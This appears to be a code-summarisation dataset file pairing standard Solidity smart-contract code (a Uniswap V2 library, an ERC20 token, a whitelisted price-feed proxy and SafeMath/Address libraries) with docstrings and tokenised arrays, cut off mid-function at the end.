IUniswapV2Pair(pairFor(tokenInfoA, tokenInfoB)).getReserves(); (reserveA, reserveB) = tokenInfoA < tokenInfoB ? (reserve0, reserve1) : (reserve1, reserve0); } /** ========== Swap Amounts ========== */ // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountOut) { require(amountIn > 0, "UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT"); require( reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY" ); uint256 amountInWithFee = amountIn.mul(997); uint256 numerator = amountInWithFee.mul(reserveOut); uint256 denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) internal pure returns (uint256 amountIn) { require(amountOut > 0, "UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT"); require( reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY" ); uint256 numerator = reserveIn.mul(amountOut).mul(1000); uint256 denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut( bytes32[] memory path, uint256 amountIn ) internal view returns (uint256[] memory amounts) { require(path.length >= 2, "UniswapV2Library: INVALID_PATH"); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn( bytes32[] memory path, uint256 amountOut ) internal view returns (uint256[] memory amounts) { require(path.length >= 2, "UniswapV2Library: INVALID_PATH"); amounts = new uint256[](path.length); amounts[amounts.length - 1] = amountOut; for (uint256 i = path.length - 1; i > 0; i--) { (uint256 reserveIn, uint256 reserveOut) = getReserves(path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } }
performs chained getAmountIn calculations on any number of pairs
function getAmountsIn( bytes32[] memory path, uint256 amountOut ) internal view returns (uint256[] memory amounts) { require(path.length >= 2, "UniswapV2Library: INVALID_PATH"); amounts = new uint256[](path.length); amounts[amounts.length - 1] = amountOut; for (uint256 i = path.length - 1; i > 0; i--) { (uint256 reserveIn, uint256 reserveOut) = getReserves(path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } }
5,548,227
[ 1, 457, 9741, 20269, 24418, 382, 20882, 603, 1281, 1300, 434, 5574, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 24418, 87, 382, 12, 203, 565, 1731, 1578, 8526, 3778, 589, 16, 203, 565, 2254, 5034, 3844, 1182, 203, 225, 262, 2713, 1476, 1135, 261, 11890, 5034, 8526, 3778, 30980, 13, 288, 203, 565, 2583, 12, 803, 18, 2469, 1545, 576, 16, 315, 984, 291, 91, 438, 58, 22, 9313, 30, 10071, 67, 4211, 8863, 203, 565, 30980, 273, 394, 2254, 5034, 8526, 12, 803, 18, 2469, 1769, 203, 565, 30980, 63, 8949, 87, 18, 2469, 300, 404, 65, 273, 3844, 1182, 31, 203, 565, 364, 261, 11890, 5034, 277, 273, 589, 18, 2469, 300, 404, 31, 277, 405, 374, 31, 277, 413, 13, 288, 203, 1377, 261, 11890, 5034, 20501, 382, 16, 2254, 5034, 20501, 1182, 13, 273, 31792, 264, 3324, 12, 803, 63, 77, 300, 404, 6487, 589, 63, 77, 19226, 203, 1377, 30980, 63, 77, 300, 404, 65, 273, 24418, 382, 12, 8949, 87, 63, 77, 6487, 20501, 382, 16, 20501, 1182, 1769, 203, 565, 289, 203, 225, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // 'FIXED' 'Example Fixed Supply Token' token contract // // Symbol : FIXED // Name : Example Fixed Supply Token // Total supply: 1,000,000.000000000000000000 // Decimals : 18 // // Enjoy. // // (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and a // fixed supply // ---------------------------------------------------------------------------- contract DomonXToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "GV2"; name = "TestGV2"; decimals = 18; _totalSupply = 20000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
---------------------------------------------------------------------------- ERC20 Token, with the addition of symbol, name and decimals and a fixed supply ---------------------------------------------------------------------------- ------------------------------------------------------------------------ Constructor ------------------------------------------------------------------------
contract DomonXToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "GV2"; name = "TestGV2"; decimals = 18; _totalSupply = 20000000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
14,479,398
[ 1, 5802, 7620, 4232, 39, 3462, 3155, 16, 598, 326, 2719, 434, 3273, 16, 508, 471, 15105, 471, 279, 5499, 14467, 8879, 13849, 8879, 17082, 11417, 8879, 17082, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 12965, 265, 60, 1345, 353, 4232, 39, 3462, 1358, 16, 14223, 11748, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 31, 203, 203, 565, 533, 1071, 3273, 31, 203, 565, 533, 1071, 225, 508, 31, 203, 565, 2254, 28, 1071, 15105, 31, 203, 565, 2254, 389, 4963, 3088, 1283, 31, 203, 203, 565, 2874, 12, 2867, 516, 2254, 13, 324, 26488, 31, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 2254, 3719, 2935, 31, 203, 203, 203, 565, 3885, 1435, 1071, 288, 203, 3639, 3273, 273, 315, 25269, 22, 14432, 203, 3639, 508, 273, 315, 4709, 25269, 22, 14432, 203, 3639, 15105, 273, 6549, 31, 203, 3639, 389, 4963, 3088, 1283, 273, 576, 17877, 380, 1728, 636, 11890, 12, 31734, 1769, 203, 3639, 324, 26488, 63, 8443, 65, 273, 389, 4963, 3088, 1283, 31, 203, 3639, 3626, 12279, 12, 2867, 12, 20, 3631, 3410, 16, 389, 4963, 3088, 1283, 1769, 203, 565, 289, 203, 203, 203, 565, 445, 2078, 3088, 1283, 1435, 1071, 1476, 1135, 261, 11890, 13, 288, 203, 3639, 327, 389, 4963, 3088, 1283, 18, 1717, 12, 70, 26488, 63, 2867, 12, 20, 13, 19226, 203, 565, 289, 203, 203, 203, 565, 445, 11013, 951, 12, 2867, 1147, 5541, 13, 1071, 1476, 1135, 261, 11890, 11013, 13, 288, 203, 3639, 327, 324, 26488, 63, 2316, 5541, 15533, 203, 565, 289, 203, 203, 203, 565, 445, 7412, 12, 2867, 358, 16, 2254, 2430, 13, 1071, 1135, 261, 6430, 2216, 13, 288, 203, 3639, 324, 26488, 63, 3576, 18, 15330, 65, 2 ]
./full_match/1/0xD39773381a3CC8831e9C1993e73Ee6379f1D82a1/sources/browser/WhitelistedAggregatorProxy.sol
* @title A trusted proxy for updating where current answers are read from @notice This contract provides a consistent address for the AggregatorInterface but delegates where it reads from to the owner, who is trusted to update it. @notice Only whitelisted addresses are allowed to access getters for aggregated answers and round information./
contract WhitelistedAggregatorProxy is AggregatorProxy, Whitelisted { constructor(address _aggregator) public AggregatorProxy(_aggregator) { } function latestAnswer() external view override isWhitelisted() returns (int256) { return _latestAnswer(); } function latestTimestamp() external view override isWhitelisted() returns (uint256) { return _latestTimestamp(); } function getAnswer(uint256 _roundId) external view override isWhitelisted() returns (int256) { return _getAnswer(_roundId); } function getTimestamp(uint256 _roundId) external view override isWhitelisted() returns (uint256) { return _getTimestamp(_roundId); } function latestRound() external view override isWhitelisted() returns (uint256) { return _latestRound(); } }
3,143,035
[ 1, 37, 13179, 2889, 364, 9702, 1625, 783, 12415, 854, 855, 628, 225, 1220, 6835, 8121, 279, 11071, 1758, 364, 326, 10594, 639, 1358, 1496, 22310, 1625, 518, 6838, 628, 358, 326, 3410, 16, 10354, 353, 13179, 358, 1089, 518, 18, 225, 5098, 26944, 6138, 854, 2935, 358, 2006, 23849, 364, 16165, 12415, 471, 3643, 1779, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 3497, 7523, 329, 17711, 3886, 353, 10594, 639, 3886, 16, 3497, 7523, 329, 288, 203, 203, 225, 3885, 12, 2867, 389, 10751, 639, 13, 1071, 10594, 639, 3886, 24899, 10751, 639, 13, 288, 203, 225, 289, 203, 203, 225, 445, 4891, 13203, 1435, 203, 565, 3903, 203, 565, 1476, 203, 565, 3849, 203, 565, 353, 18927, 329, 1435, 203, 565, 1135, 261, 474, 5034, 13, 203, 225, 288, 203, 565, 327, 389, 13550, 13203, 5621, 203, 225, 289, 203, 203, 225, 445, 4891, 4921, 1435, 203, 565, 3903, 203, 565, 1476, 203, 565, 3849, 203, 565, 353, 18927, 329, 1435, 203, 565, 1135, 261, 11890, 5034, 13, 203, 225, 288, 203, 565, 327, 389, 13550, 4921, 5621, 203, 225, 289, 203, 203, 225, 445, 336, 13203, 12, 11890, 5034, 389, 2260, 548, 13, 203, 565, 3903, 203, 565, 1476, 203, 565, 3849, 203, 565, 353, 18927, 329, 1435, 203, 565, 1135, 261, 474, 5034, 13, 203, 225, 288, 203, 565, 327, 389, 588, 13203, 24899, 2260, 548, 1769, 203, 225, 289, 203, 203, 225, 445, 11940, 12, 11890, 5034, 389, 2260, 548, 13, 203, 565, 3903, 203, 565, 1476, 203, 565, 3849, 203, 565, 353, 18927, 329, 1435, 203, 565, 1135, 261, 11890, 5034, 13, 203, 225, 288, 203, 565, 327, 389, 588, 4921, 24899, 2260, 548, 1769, 203, 225, 289, 203, 203, 225, 445, 4891, 11066, 1435, 203, 565, 3903, 203, 565, 1476, 203, 565, 3849, 203, 565, 353, 18927, 329, 1435, 203, 565, 1135, 261, 11890, 5034, 13, 203, 225, 288, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), 